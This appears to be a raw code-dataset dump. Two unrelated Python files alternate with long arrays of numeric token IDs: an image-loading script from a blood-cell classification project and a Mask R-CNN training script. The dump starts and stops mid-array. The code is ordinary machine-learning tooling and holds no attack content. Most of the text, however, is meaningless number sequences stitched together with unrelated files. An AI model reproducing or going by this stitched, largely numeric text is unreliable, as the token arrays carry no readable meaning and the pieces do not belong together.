29892,
525,
1254,
29911,
4103,
924,
2033,
353,
380,
29873,
13,
1678,
25342,
4489,
29889,
2029,
29961,
29875,
29892,
525,
5594,
261,
2346,
2033,
29991,
2433,
2396,
13,
4706,
4489,
29889,
2029,
29961,
29875,
29892,
525,
1254,
29911,
4103,
924,
2033,
353,
4489,
29889,
2029,
29961,
29875,
29892,
525,
5594,
261,
2346,
1301,
3395,
2033,
13,
4706,
817,
29918,
303,
29873,
29889,
4397,
29898,
657,
29918,
13092,
29918,
2248,
29898,
2176,
29889,
2029,
29961,
29875,
29892,
525,
5594,
261,
2346,
25901,
13,
308,
13,
2176,
29889,
517,
29918,
24633,
877,
1272,
29914,
1324,
5750,
4106,
29918,
8394,
29918,
303,
29873,
29889,
20267,
29916,
742,
2380,
353,
7700,
29897,
539,
13,
2176,
29918,
353,
10518,
29889,
17271,
3319,
29915,
5594,
261,
2346,
2396,
817,
29918,
303,
29873,
1800,
13,
2176,
5396,
517,
29918,
24633,
877,
1272,
29914,
26180,
29918,
1324,
29872,
29918,
303,
29873,
29889,
20267,
29916,
742,
2380,
353,
7700,
29897,
13,
13,
2176,
29918,
303,
29873,
353,
10518,
29889,
949,
29918,
24633,
877,
1272,
29914,
29886,
1175,
29918,
303,
29873,
29889,
20267,
29916,
742,
9869,
29918,
978,
29922,
29900,
29897,
13,
13,
2176,
353,
10518,
29889,
949,
29918,
24633,
877,
1272,
29914,
29886,
1175,
29918,
8394,
29889,
20267,
29916,
742,
9869,
29918,
978,
29922,
29900,
467,
5589,
1056,
877,
1495,
13,
13,
2176,
1839,
1254,
29911,
4103,
924,
2033,
353,
4489,
1839,
5594,
261,
2346,
2033,
13,
26180,
29918,
303,
29873,
353,
5159,
13,
1454,
474,
29892,
29878,
297,
4489,
29889,
1524,
5727,
7295,
13,
1678,
4489,
29918,
353,
4489,
29918,
303,
29873,
15625,
2176,
29918,
303,
29873,
1839,
19858,
6645,
2033,
1275,
364,
1839,
5594,
261,
2346,
2033,
10531,
29898,
2176,
29918,
303,
29873,
1839,
4789,
3278,
10348,
1544,
2033,
1275,
364,
1839,
5594,
261,
2346,
2033,
4638,
13,
1678,
565,
7431,
29898,
2176,
19925,
1405,
29871,
29900,
29901,
13,
4706,
380,
29873,
353,
1051,
29898,
2176,
29918,
1839,
1988,
1301,
924,
2033,
9601,
29900,
29962,
13,
4706,
4489,
29889,
2029,
29961,
29875,
29892,
525,
1254,
29911,
4103,
924,
2033,
353,
380,
29873,
13,
1678,
25342,
4489,
29889,
2029,
29961,
29875,
29892,
525,
5594,
261,
2346,
2033,
29991,
2433,
2396,
13,
4706,
4489,
29889,
2029,
29961,
29875,
29892,
525,
1254,
29911,
4103,
924,
2033,
353,
4489,
29889,
2029,
29961,
29875,
29892,
525,
5594,
261,
2346,
1301,
3395,
2033,
13,
4706,
817,
29918,
303,
29873,
29889,
4397,
29898,
657,
29918,
13092,
29918,
2248,
29898,
2176,
29889,
2029,
29961,
29875,
29892,
525,
5594,
261,
2346,
25901,
13,
308,
13,
2176,
29889,
517,
29918,
24633,
877,
1272,
29914,
29886,
1175,
29918,
8394,
29918,
303,
29873,
29889,
20267,
29916,
742,
2380,
353,
7700,
29897,
539,
13,
2176,
29918,
353,
10518,
29889,
17271,
3319,
29915,
5594,
261,
2346,
2396,
817,
29918,
303,
29873,
1800,
13,
2176,
5396,
517,
29918,
24633,
877,
1272,
29914,
26180,
29918,
303,
29873,
29918,
29886,
1175,
29889,
20267,
29916,
742,
2380,
353,
7700,
29897,
13,
2
] |
scripts/data_extract.py | amichalski2/WBC-SHAP | 0 | 9760 | import os
import cv2
import random
import numpy as np
from tensorflow.keras.utils import to_categorical
from scripts.consts import class_dict
def get_data(path, split=0.2):
X, y = [], []
for directory in os.listdir(path):
dirpath = os.path.join(path, directory)
print(directory, len(os.listdir(dirpath)))
for file in os.listdir(dirpath):
filepath = os.path.join(dirpath, file)
img = cv2.imread(filepath, cv2.IMREAD_UNCHANGED)
if img.shape != (360, 363, 3):
img = cv2.resize(img, (360, 363), cv2.INTER_CUBIC)
X.append(img)
y.append(class_dict[directory])
data = list(zip(X, y))
random.shuffle(data)
X, y = zip(*data)
num_train = int((1.0 - split) * len(y))
X_train, X_valid = np.array(X[:num_train]).astype(
'float32'), np.array(X[num_train:]).astype('float32')
y_train, y_valid = np.array(
y[:num_train]).reshape(-1, 1), np.array(y[num_train:]).reshape((-1, 1))
X_train = X_train / 255.0
X_valid = X_valid / 255.0
y_train, y_valid = to_categorical(y_train), to_categorical(y_valid)
print(X_train.shape, y_train.shape)
print(X_valid.shape, y_valid.shape)
return X_train, y_train, X_valid, y_valid
| [
1,
1053,
2897,
13,
5215,
13850,
29906,
13,
5215,
4036,
13,
5215,
12655,
408,
7442,
13,
3166,
26110,
29889,
3946,
294,
29889,
13239,
1053,
304,
29918,
29883,
20440,
936,
13,
3166,
12078,
29889,
3075,
29879,
1053,
770,
29918,
8977,
13,
13,
13,
1753,
679,
29918,
1272,
29898,
2084,
29892,
6219,
29922,
29900,
29889,
29906,
1125,
13,
13,
1678,
1060,
29892,
343,
353,
19997,
5159,
13,
13,
1678,
363,
3884,
297,
2897,
29889,
1761,
3972,
29898,
2084,
1125,
13,
13,
4706,
4516,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
2084,
29892,
3884,
29897,
13,
4706,
1596,
29898,
12322,
29892,
7431,
29898,
359,
29889,
1761,
3972,
29898,
3972,
2084,
4961,
13,
13,
4706,
363,
934,
297,
2897,
29889,
1761,
3972,
29898,
3972,
2084,
1125,
13,
13,
9651,
934,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3972,
2084,
29892,
934,
29897,
13,
9651,
10153,
353,
13850,
29906,
29889,
326,
949,
29898,
1445,
2084,
29892,
13850,
29906,
29889,
7833,
16310,
29918,
3904,
3210,
24336,
29928,
29897,
13,
632,
13,
9651,
565,
10153,
29889,
12181,
2804,
313,
29941,
29953,
29900,
29892,
29871,
29941,
29953,
29941,
29892,
29871,
29941,
1125,
13,
18884,
10153,
353,
13850,
29906,
29889,
21476,
29898,
2492,
29892,
313,
29941,
29953,
29900,
29892,
29871,
29941,
29953,
29941,
511,
13850,
29906,
29889,
23845,
29918,
29907,
7466,
2965,
29897,
13,
13,
9651,
1060,
29889,
4397,
29898,
2492,
29897,
13,
9651,
343,
29889,
4397,
29898,
1990,
29918,
8977,
29961,
12322,
2314,
13,
13,
1678,
848,
353,
1051,
29898,
7554,
29898,
29990,
29892,
343,
876,
13,
13,
1678,
4036,
29889,
845,
21897,
29898,
1272,
29897,
13,
13,
1678,
1060,
29892,
343,
353,
14319,
10456,
1272,
29897,
13,
13,
1678,
954,
29918,
14968,
353,
938,
3552,
29896,
29889,
29900,
448,
6219,
29897,
334,
7431,
29898,
29891,
876,
13,
13,
1678,
1060,
29918,
14968,
29892,
1060,
29918,
3084,
353,
7442,
29889,
2378,
29898,
29990,
7503,
1949,
29918,
14968,
14664,
579,
668,
29898,
13,
4706,
525,
7411,
29941,
29906,
5477,
7442,
29889,
2378,
29898,
29990,
29961,
1949,
29918,
14968,
29901,
14664,
579,
668,
877,
7411,
29941,
29906,
1495,
13,
1678,
343,
29918,
14968,
29892,
343,
29918,
3084,
353,
7442,
29889,
2378,
29898,
13,
4706,
343,
7503,
1949,
29918,
14968,
14664,
690,
14443,
6278,
29896,
29892,
29871,
29896,
511,
7442,
29889,
2378,
29898,
29891,
29961,
1949,
29918,
14968,
29901,
14664,
690,
14443,
3552,
29899,
29896,
29892,
29871,
29896,
876,
13,
13,
1678,
1060,
29918,
14968,
353,
1060,
29918,
14968,
847,
29871,
29906,
29945,
29945,
29889,
29900,
13,
1678,
1060,
29918,
3084,
353,
1060,
29918,
3084,
847,
29871,
29906,
29945,
29945,
29889,
29900,
13,
13,
1678,
343,
29918,
14968,
29892,
343,
29918,
3084,
353,
304,
29918,
29883,
20440,
936,
29898,
29891,
29918,
14968,
511,
304,
29918,
29883,
20440,
936,
29898,
29891,
29918,
3084,
29897,
13,
13,
1678,
1596,
29898,
29990,
29918,
14968,
29889,
12181,
29892,
343,
29918,
14968,
29889,
12181,
29897,
13,
1678,
1596,
29898,
29990,
29918,
3084,
29889,
12181,
29892,
343,
29918,
3084,
29889,
12181,
29897,
13,
13,
1678,
736,
1060,
29918,
14968,
29892,
343,
29918,
14968,
29892,
1060,
29918,
3084,
29892,
343,
29918,
3084,
13,
2
] |
tools/train_net.py | achalddave/maskrcnn-benchmark | 6 | 188448 | # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
r"""
Basic training script for PyTorch
"""
# Set up custom environment before nearly anything else is imported
# NOTE: this should be the first import (no not reorder)
from maskrcnn_benchmark.utils.env import setup_environment # noqa F401 isort:skip
import argparse
import logging
import os
import uuid
from pathlib import Path
from script_utils.common import common_setup
from script_utils.log import add_time_to_path
import torch
from maskrcnn_benchmark.config import cfg
from maskrcnn_benchmark.data import make_data_loader
from maskrcnn_benchmark.engine.inference import inference
from maskrcnn_benchmark.engine.trainer import do_train
from maskrcnn_benchmark.modeling.detector import build_detection_model
from maskrcnn_benchmark.solver import make_lr_scheduler
from maskrcnn_benchmark.solver import make_optimizer
from maskrcnn_benchmark.utils.checkpoint import DetectronCheckpointer
from maskrcnn_benchmark.utils.collect_env import collect_env_info
from maskrcnn_benchmark.utils.comm import synchronize, get_rank
from maskrcnn_benchmark.utils.imports import import_file
from maskrcnn_benchmark.utils.metric_logger import (
MetricLogger, TensorboardLogger)
from maskrcnn_benchmark.utils.miscellaneous import mkdir, save_config
# See if we can use apex.DistributedDataParallel instead of the torch default,
# and enable mixed-precision via apex.amp
try:
from apex import amp
except ImportError:
raise ImportError('Use APEX for multi-precision via apex.amp')
def _safe_int(x):
if isinstance(x, float):
assert x.is_integer(), ('%s is not an integer.' % x)
return int(x)
elif isinstance(x, int):
return int(x)
else:
raise ValueError('Unknown type: %s (%s)' % (x, type(x)))
def merge_keys(cfg, opts_list, keys):
"""Update specific keys in cfg if they are in opts_list.
Additionally removes updates corresponding to the keys from opts_list."""
selected_updates = []
for key in keys:
try:
key_index = opts_list[0::2].index(key) * 2
except ValueError: # key not found
continue
value = opts_list[key_index + 1]
del opts_list[key_index:key_index + 2]
logging.info('Updating %s to %s in merge_keys' % (key, value))
selected_updates.extend([key, value])
if selected_updates:
cfg.merge_from_list(selected_updates)
def train(cfg, local_rank, distributed, use_tensorboard=False):
model = build_detection_model(cfg)
device = torch.device(cfg.MODEL.DEVICE)
model.to(device)
optimizer = make_optimizer(cfg, model)
scheduler = make_lr_scheduler(cfg, optimizer)
# Initialize mixed-precision training
use_mixed_precision = cfg.DTYPE == "float16"
amp_opt_level = 'O1' if use_mixed_precision else 'O0'
model, optimizer = amp.initialize(model, optimizer, opt_level=amp_opt_level)
if distributed:
model = torch.nn.parallel.DistributedDataParallel(
model, device_ids=[local_rank], output_device=local_rank,
# this should be removed if we update BatchNorm stats
broadcast_buffers=False,
)
arguments = {}
arguments["iteration"] = 0
output_dir = cfg.OUTPUT_DIR
save_to_disk = get_rank() == 0
checkpointer = DetectronCheckpointer(
cfg, model, optimizer, scheduler, output_dir, save_to_disk
)
# load_scheduler_only_epoch will prefer the scheduler specified in the
# config rather than the one in the checkpoint, and will load only the
# last_epoch from the checkpoint.
extra_checkpoint_data = checkpointer.load(
cfg.MODEL.WEIGHT,
load_model_only=cfg.MODEL.LOAD_ONLY_WEIGHTS,
load_scheduler_only_epoch=True)
if not cfg.MODEL.LOAD_ONLY_WEIGHTS:
arguments.update(extra_checkpoint_data)
data_loader = make_data_loader(
cfg,
is_train=True,
is_distributed=distributed,
start_iter=arguments["iteration"],
)
checkpoint_period = cfg.SOLVER.CHECKPOINT_PERIOD
if use_tensorboard:
meters = TensorboardLogger(
log_dir=output_dir,
exp_name=cfg.TENSORBOARD_EXP_NAME,
start_iter=arguments['iteration'],
delimiter=" ")
else:
meters = MetricLogger(delimiter=" ")
do_train(
model,
data_loader,
optimizer,
scheduler,
checkpointer,
device,
checkpoint_period,
arguments,
meters
)
return model
def run_test(cfg, model, distributed):
if distributed:
model = model.module
torch.cuda.empty_cache() # TODO check if it helps
iou_types = ("bbox",)
if cfg.MODEL.MASK_ON:
iou_types = iou_types + ("segm",)
if cfg.MODEL.KEYPOINT_ON:
iou_types = iou_types + ("keypoints",)
output_folders = [None] * len(cfg.DATASETS.TEST)
dataset_names = cfg.DATASETS.TEST
if cfg.OUTPUT_DIR:
for idx, dataset_name in enumerate(dataset_names):
output_folder = os.path.join(cfg.OUTPUT_DIR, "inference", dataset_name)
mkdir(output_folder)
output_folders[idx] = output_folder
data_loaders_val = make_data_loader(cfg, is_train=False, is_distributed=distributed)
for output_folder, dataset_name, data_loader_val in zip(output_folders, dataset_names, data_loaders_val):
inference(
model,
data_loader_val,
dataset_name=dataset_name,
iou_types=iou_types,
box_only=False if cfg.MODEL.RETINANET_ON else cfg.MODEL.RPN_ONLY,
device=cfg.MODEL.DEVICE,
expected_results=cfg.TEST.EXPECTED_RESULTS,
expected_results_sigma_tol=cfg.TEST.EXPECTED_RESULTS_SIGMA_TOL,
output_folder=output_folder,
)
synchronize()
def main():
parser = argparse.ArgumentParser(description="PyTorch Object Detection Training")
parser.add_argument(
"--config-file",
default="",
metavar="FILE",
help="path to config file",
type=str,
)
parser.add_argument(
'--reduce-batch',
type=int,
help=('Divide IMS_PER_BATCH by this amount. This appropriately '
'updates the learning rate, number of iterations, and so on.'))
parser.add_argument("--local_rank", type=int, default=0)
parser.add_argument(
"--skip-test",
dest="skip_test",
help="Do not test the final model",
action="store_true",
)
parser.add_argument(
"--use-tensorboard",
dest="use_tensorboard",
help="Use tensorboardX logger (Requires tensorboardX installed)",
action="store_true",
default=False
)
parser.add_argument(
"opts",
help="Modify config options using the command-line",
default=None,
nargs=argparse.REMAINDER,
)
args = parser.parse_args()
# Generate a unique experiment ID for this run.
# Note: uuid generation relies on os.urandom, so it is not affected by,
# e.g., random.seed.
experiment_id = uuid.uuid4()
num_gpus = int(os.environ["WORLD_SIZE"]) if "WORLD_SIZE" in os.environ else 1
args.distributed = num_gpus > 1
if args.distributed:
torch.cuda.set_device(args.local_rank)
torch.distributed.init_process_group(
backend="nccl", init_method="env://"
)
synchronize()
cfg.merge_from_file(args.config_file)
# We want to get the OUTPUT_DIR from the args immediately, if it exists, so
# we can setup logging. We will merge the rest of the config in a few
# lines.
merge_keys(cfg, args.opts, ['OUTPUT_DIR'])
output_dir = cfg.OUTPUT_DIR
if output_dir:
mkdir(output_dir)
if get_rank() == 0:
file_logger = common_setup(__file__, output_dir, args)
else:
file_logger = common_setup(
__file__ + '-worker%s' % get_rank(),
output_dir,
args,
log_console_level=logging.CRITICAL,
save_git_state=False)
# Automatically handle config changes as required by
# https://github.com/facebookresearch/maskrcnn-benchmark/tree/327bc29bcc4924e35bd61c59877d5a1d25bb75af#single-gpu-training
if args.reduce_batch:
# Update using --opts first, then override.
merge_keys(cfg, args.opts, [
'SOLVER.IMS_PER_BATCH', 'SOLVER.BASE_LR', 'SOLVER.MAX_ITER',
'SOLVER.STEPS', 'SOLVER.CHECKPOINT_PERIOD'
])
assert num_gpus in (1, 2, 4)
scale = args.reduce_batch
logging.info('Updating config for # GPUs = %s', num_gpus)
def update_config(key, new_value):
key_list = key.split('.')
d = cfg
for subkey in key_list[:-1]:
d = cfg[subkey]
subkey = key_list[-1]
old_value = d[subkey]
logging.info('Updating cfg.%s: %s -> %s', key, old_value,
new_value)
d[subkey] = new_value
update_config('SOLVER.IMS_PER_BATCH',
_safe_int(cfg.SOLVER.IMS_PER_BATCH / scale))
update_config('SOLVER.BASE_LR', cfg.SOLVER.BASE_LR / scale)
update_config('SOLVER.MAX_ITER',
_safe_int(cfg.SOLVER.MAX_ITER * scale))
update_config('SOLVER.CHECKPOINT_PERIOD',
_safe_int(cfg.SOLVER.CHECKPOINT_PERIOD * scale))
update_config('SOLVER.STEPS',
tuple(_safe_int(x * scale) for x in cfg.SOLVER.STEPS))
logging.info('Updating config from arguments')
cfg.merge_from_list(args.opts)
cfg.freeze()
logger = logging.getLogger("maskrcnn_benchmark")
logger.info("Using {} GPUs".format(num_gpus))
logger.info(args)
logger.info("Collecting env info (might take some time)")
logger.info("\n" + collect_env_info())
logger.info("Loaded configuration file {}".format(args.config_file))
with open(args.config_file, "r") as cf:
config_str = "\n" + cf.read()
file_logger.info(config_str)
file_logger.info("Running with config:\n{}".format(cfg))
if get_rank() == 0:
config_output = add_time_to_path(Path(output_dir) / 'config.yaml')
with open(config_output, 'w') as f:
f.write(cfg.dump())
logging.info('Experiment id: %s', experiment_id)
with open(os.path.join(output_dir, 'experiment_id.txt'), 'w') as f:
f.write('%s\n' % experiment_id)
output_config_path = os.path.join(cfg.OUTPUT_DIR, 'config.yml')
logger.info("Saving config into: {}".format(output_config_path))
# save overloaded model config in the output directory
save_config(cfg, output_config_path)
model = train(cfg, args.local_rank, args.distributed, use_tensorboard=args.use_tensorboard)
if not args.skip_test:
run_test(cfg, model, args.distributed)
if __name__ == "__main__":
main()
| [
1,
396,
14187,
1266,
313,
29883,
29897,
13327,
29892,
9266,
29889,
322,
967,
23736,
1078,
29889,
2178,
26863,
2538,
9841,
29889,
13,
29878,
15945,
29908,
13,
16616,
6694,
2471,
363,
10772,
29911,
25350,
13,
15945,
29908,
13,
13,
29937,
3789,
701,
2888,
5177,
1434,
8886,
3099,
1683,
338,
19673,
13,
29937,
6058,
29923,
29901,
445,
881,
367,
278,
937,
1053,
313,
1217,
451,
337,
2098,
29897,
13,
3166,
11105,
2214,
15755,
29918,
1785,
16580,
29889,
13239,
29889,
6272,
1053,
6230,
29918,
20944,
29871,
396,
694,
25621,
383,
29946,
29900,
29896,
338,
441,
29901,
11014,
13,
13,
5215,
1852,
5510,
13,
5215,
12183,
13,
5215,
2897,
13,
5215,
318,
5416,
13,
3166,
2224,
1982,
1053,
10802,
13,
13,
3166,
2471,
29918,
13239,
29889,
9435,
1053,
3619,
29918,
14669,
13,
3166,
2471,
29918,
13239,
29889,
1188,
1053,
788,
29918,
2230,
29918,
517,
29918,
2084,
13,
13,
5215,
4842,
305,
13,
13,
3166,
11105,
2214,
15755,
29918,
1785,
16580,
29889,
2917,
1053,
274,
16434,
13,
3166,
11105,
2214,
15755,
29918,
1785,
16580,
29889,
1272,
1053,
1207,
29918,
1272,
29918,
12657,
13,
3166,
11105,
2214,
15755,
29918,
1785,
16580,
29889,
10599,
29889,
262,
1659,
1053,
27262,
13,
3166,
11105,
2214,
15755,
29918,
1785,
16580,
29889,
10599,
29889,
3018,
4983,
1053,
437,
29918,
14968,
13,
3166,
11105,
2214,
15755,
29918,
1785,
16580,
29889,
4299,
292,
29889,
4801,
3019,
1053,
2048,
29918,
29881,
2650,
428,
29918,
4299,
13,
3166,
11105,
2214,
15755,
29918,
1785,
16580,
29889,
2929,
369,
1053,
1207,
29918,
29212,
29918,
816,
14952,
13,
3166,
11105,
2214,
15755,
29918,
1785,
16580,
29889,
2929,
369,
1053,
1207,
29918,
20640,
3950,
13,
3166,
11105,
2214,
15755,
29918,
1785,
16580,
29889,
13239,
29889,
3198,
3149,
1053,
5953,
522,
1617,
5596,
17226,
13,
3166,
11105,
2214,
15755,
29918,
1785,
16580,
29889,
13239,
29889,
15914,
29918,
6272,
1053,
6314,
29918,
6272,
29918,
3888,
13,
3166,
11105,
2214,
15755,
29918,
1785,
16580,
29889,
13239,
29889,
2055,
1053,
12231,
675,
29892,
679,
29918,
10003,
13,
3166,
11105,
2214,
15755,
29918,
1785,
16580,
29889,
13239,
29889,
326,
4011,
1053,
1053,
29918,
1445,
13,
3166,
11105,
2214,
15755,
29918,
1785,
16580,
29889,
13239,
29889,
16414,
29918,
21707,
1053,
313,
13,
1678,
4737,
2200,
16363,
29892,
323,
6073,
3377,
16363,
29897,
13,
3166,
11105,
2214,
15755,
29918,
1785,
16580,
29889,
13239,
29889,
26737,
3729,
23584,
1053,
29356,
29892,
4078,
29918,
2917,
13,
13,
29937,
2823,
565,
591,
508,
671,
263,
412,
29916,
29889,
13398,
7541,
1469,
2177,
6553,
2012,
310,
278,
4842,
305,
2322,
29892,
13,
29937,
322,
9025,
12849,
29899,
17990,
2459,
3025,
263,
412,
29916,
29889,
1160,
13,
2202,
29901,
13,
1678,
515,
263,
412,
29916,
1053,
21332,
13,
19499,
16032,
2392,
29901,
13,
1678,
12020,
16032,
2392,
877,
11403,
319,
4162,
29990,
363,
2473,
29899,
17990,
2459,
3025,
263,
412,
29916,
29889,
1160,
1495,
13,
13,
13,
1753,
903,
11177,
29918,
524,
29898,
29916,
1125,
13,
1678,
565,
338,
8758,
29898,
29916,
29892,
5785,
1125,
13,
4706,
4974,
921,
29889,
275,
29918,
16031,
3285,
6702,
29995,
29879,
338,
451,
385,
6043,
6169,
1273,
921,
29897,
13,
4706,
736,
938,
29898,
29916,
29897,
13,
1678,
25342,
338,
8758,
29898,
29916,
29892,
938,
1125,
13,
4706,
736,
938,
29898,
29916,
29897,
13,
1678,
1683,
29901,
13,
4706,
12020,
7865,
2392,
877,
14148,
1134,
29901,
1273,
29879,
313,
29995,
29879,
16029,
1273,
313,
29916,
29892,
1134,
29898,
29916,
4961,
13,
13,
13,
1753,
10366,
29918,
8149,
29898,
16859,
29892,
29111,
29918,
1761,
29892,
6611,
1125,
13,
1678,
9995,
6422,
2702,
6611,
297,
274,
16434,
565,
896,
526,
297,
29111,
29918,
1761,
29889,
13,
13,
1678,
19814,
25388,
11217,
6590,
304,
278,
6611,
515,
29111,
29918,
1761,
1213,
15945,
13,
1678,
4629,
29918,
786,
15190,
353,
5159,
13,
1678,
363,
1820,
297,
6611,
29901,
13,
4706,
1018,
29901,
13,
9651,
1820,
29918,
2248,
353,
29111,
29918,
1761,
29961,
29900,
1057,
29906,
1822,
2248,
29898,
1989,
29897,
334,
29871,
29906,
13,
4706,
5174,
7865,
2392,
29901,
29871,
396,
1820,
451,
1476,
13,
9651,
6773,
13,
4706,
995,
353,
29111,
29918,
1761,
29961,
1989,
29918,
2248,
718,
29871,
29896,
29962,
13,
4706,
628,
29111,
29918,
1761,
29961,
1989,
29918,
2248,
29901,
1989,
29918,
2248,
718,
29871,
29906,
29962,
13,
4706,
12183,
29889,
3888,
877,
3373,
26747,
1273,
29879,
304,
1273,
29879,
297,
10366,
29918,
8149,
29915,
1273,
313,
1989,
29892,
995,
876,
13,
4706,
4629,
29918,
786,
15190,
29889,
21843,
4197,
1989,
29892,
995,
2314,
13,
1678,
565,
4629,
29918,
786,
15190,
29901,
13,
4706,
274,
16434,
29889,
14634,
29918,
3166,
29918,
1761,
29898,
8391,
29918,
786,
15190,
29897,
13,
13,
13,
1753,
7945,
29898,
16859,
29892,
1887,
29918,
10003,
29892,
13235,
29892,
671,
29918,
20158,
3377,
29922,
8824,
1125,
13,
1678,
1904,
353,
2048,
29918,
29881,
2650,
428,
29918,
4299,
29898,
16859,
29897,
13,
1678,
4742,
353,
4842,
305,
29889,
10141,
29898,
16859,
29889,
20387,
29931,
29889,
2287,
19059,
29897,
13,
1678,
1904,
29889,
517,
29898,
10141,
29897,
13,
13,
1678,
5994,
3950,
353,
1207,
29918,
20640,
3950,
29898,
16859,
29892,
1904,
29897,
13,
1678,
1364,
14952,
353,
1207,
29918,
29212,
29918,
816,
14952,
29898,
16859,
29892,
5994,
3950,
29897,
13,
13,
1678,
396,
25455,
12849,
29899,
17990,
2459,
6694,
13,
1678,
671,
29918,
29885,
11925,
29918,
17990,
2459,
353,
274,
16434,
29889,
29928,
11116,
1275,
376,
7411,
29896,
29953,
29908,
13,
1678,
21332,
29918,
3670,
29918,
5563,
353,
525,
29949,
29896,
29915,
565,
671,
29918,
29885,
11925,
29918,
17990,
2459,
1683,
525,
29949,
29900,
29915,
13,
1678,
1904,
29892,
5994,
3950,
353,
21332,
29889,
24926,
29898,
4299,
29892,
5994,
3950,
29892,
3523,
29918,
5563,
29922,
1160,
29918,
3670,
29918,
5563,
29897,
13,
13,
1678,
565,
13235,
29901,
13,
4706,
1904,
353,
4842,
305,
29889,
15755,
29889,
23482,
29889,
13398,
7541,
1469,
2177,
6553,
29898,
13,
9651,
1904,
29892,
4742,
29918,
4841,
11759,
2997,
29918,
10003,
1402,
1962,
29918,
10141,
29922,
2997,
29918,
10003,
29892,
13,
9651,
396,
445,
881,
367,
6206,
565,
591,
2767,
350,
905,
29940,
555,
22663,
13,
9651,
12672,
29918,
28040,
414,
29922,
8824,
29892,
13,
4706,
1723,
13,
13,
1678,
6273,
353,
6571,
13,
1678,
6273,
3366,
1524,
362,
3108,
353,
29871,
29900,
13,
13,
1678,
1962,
29918,
3972,
353,
274,
16434,
29889,
12015,
12336,
29918,
9464,
13,
13,
1678,
4078,
29918,
517,
29918,
20960,
353,
679,
29918,
10003,
580,
1275,
29871,
29900,
13,
1678,
1423,
17226,
353,
5953,
522,
1617,
5596,
17226,
29898,
13,
4706,
274,
16434,
29892,
1904,
29892,
5994,
3950,
29892,
1364,
14952,
29892,
1962,
29918,
3972,
29892,
4078,
29918,
517,
29918,
20960,
13,
1678,
1723,
13,
1678,
396,
2254,
29918,
816,
14952,
29918,
6194,
29918,
1022,
2878,
674,
5821,
278,
1364,
14952,
6790,
297,
278,
13,
1678,
396,
2295,
3265,
1135,
278,
697,
297,
278,
1423,
3149,
29892,
322,
674,
2254,
871,
278,
13,
1678,
396,
1833,
29918,
1022,
2878,
515,
278,
1423,
3149,
29889,
13,
1678,
4805,
29918,
3198,
3149,
29918,
1272,
353,
1423,
17226,
29889,
1359,
29898,
13,
4706,
274,
16434,
29889,
20387,
29931,
29889,
8851,
22530,
29892,
13,
4706,
2254,
29918,
4299,
29918,
6194,
29922,
16859,
29889,
20387,
29931,
29889,
29428,
29918,
1164,
16786,
29918,
8851,
22530,
29903,
29892,
13,
4706,
2254,
29918,
816,
14952,
29918,
6194,
29918,
1022,
2878,
29922,
5574,
29897,
13,
1678,
565,
451,
274,
16434,
29889,
20387,
29931,
29889,
29428,
29918,
1164,
16786,
29918,
8851,
22530,
29903,
29901,
13,
4706,
6273,
29889,
5504,
29898,
17833,
29918,
3198,
3149,
29918,
1272,
29897,
13,
13,
1678,
848,
29918,
12657,
353,
1207,
29918,
1272,
29918,
12657,
29898,
13,
4706,
274,
16434,
29892,
13,
4706,
338,
29918,
14968,
29922,
5574,
29892,
13,
4706,
338,
29918,
5721,
7541,
29922,
5721,
7541,
29892,
13,
4706,
1369,
29918,
1524,
29922,
25699,
3366,
1524,
362,
12436,
13,
1678,
1723,
13,
13,
1678,
1423,
3149,
29918,
19145,
353,
274,
16434,
29889,
29903,
5607,
5348,
29889,
3210,
16658,
29925,
6992,
29911,
29918,
13171,
5971,
29928,
13,
1678,
565,
671,
29918,
20158,
3377,
29901,
13,
4706,
27881,
353,
323,
6073,
3377,
16363,
29898,
13,
9651,
1480,
29918,
3972,
29922,
4905,
29918,
3972,
29892,
13,
9651,
1518,
29918,
978,
29922,
16859,
29889,
29911,
1430,
29903,
1955,
8456,
17011,
29918,
5746,
29925,
29918,
5813,
29892,
13,
9651,
1369,
29918,
1524,
29922,
25699,
1839,
1524,
362,
7464,
13,
9651,
28552,
543,
29871,
16521,
13,
1678,
1683,
29901,
13,
4706,
27881,
353,
4737,
2200,
16363,
29898,
6144,
19657,
543,
29871,
16521,
13,
13,
1678,
437,
29918,
14968,
29898,
13,
4706,
1904,
29892,
13,
4706,
848,
29918,
12657,
29892,
13,
4706,
5994,
3950,
29892,
13,
4706,
1364,
14952,
29892,
13,
4706,
1423,
17226,
29892,
13,
4706,
4742,
29892,
13,
4706,
1423,
3149,
29918,
19145,
29892,
13,
4706,
6273,
29892,
13,
4706,
27881,
13,
1678,
1723,
13,
13,
1678,
736,
1904,
13,
13,
13,
1753,
1065,
29918,
1688,
29898,
16859,
29892,
1904,
29892,
13235,
1125,
13,
1678,
565,
13235,
29901,
13,
4706,
1904,
353,
1904,
29889,
5453,
13,
1678,
4842,
305,
29889,
29883,
6191,
29889,
6310,
29918,
8173,
580,
29871,
396,
14402,
1423,
565,
372,
6911,
13,
1678,
474,
283,
29918,
8768,
353,
4852,
29890,
1884,
613,
29897,
13,
1678,
565,
274,
16434,
29889,
20387,
29931,
29889,
1529,
16033,
29918,
1164,
29901,
13,
4706,
474,
283,
29918,
8768,
353,
474,
283,
29918,
8768,
718,
4852,
10199,
29885,
613,
29897,
13,
1678,
565,
274,
16434,
29889,
20387,
29931,
29889,
10818,
29925,
6992,
29911,
29918,
1164,
29901,
13,
4706,
474,
283,
29918,
8768,
353,
474,
283,
29918,
8768,
718,
4852,
1989,
9748,
613,
29897,
13,
1678,
1962,
29918,
8771,
414,
353,
518,
8516,
29962,
334,
7431,
29898,
16859,
29889,
25832,
8127,
9375,
29889,
18267,
29897,
13,
1678,
8783,
29918,
7039,
353,
274,
16434,
29889,
25832,
8127,
9375,
29889,
18267,
13,
1678,
565,
274,
16434,
29889,
12015,
12336,
29918,
9464,
29901,
13,
4706,
363,
22645,
29892,
8783,
29918,
978,
297,
26985,
29898,
24713,
29918,
7039,
1125,
13,
9651,
1962,
29918,
12083,
353,
2897,
29889,
2084,
29889,
7122,
29898,
16859,
29889,
12015,
12336,
29918,
9464,
29892,
376,
262,
1659,
613,
8783,
29918,
978,
29897,
13,
9651,
29356,
29898,
4905,
29918,
12083,
29897,
13,
9651,
1962,
29918,
8771,
414,
29961,
13140,
29962,
353,
1962,
29918,
12083,
13,
1678,
848,
29918,
1359,
414,
29918,
791,
353,
1207,
29918,
1272,
29918,
12657,
29898,
16859,
29892,
338,
29918,
14968,
29922,
8824,
29892,
338,
29918,
5721,
7541,
29922,
5721,
7541,
29897,
13,
1678,
363,
1962,
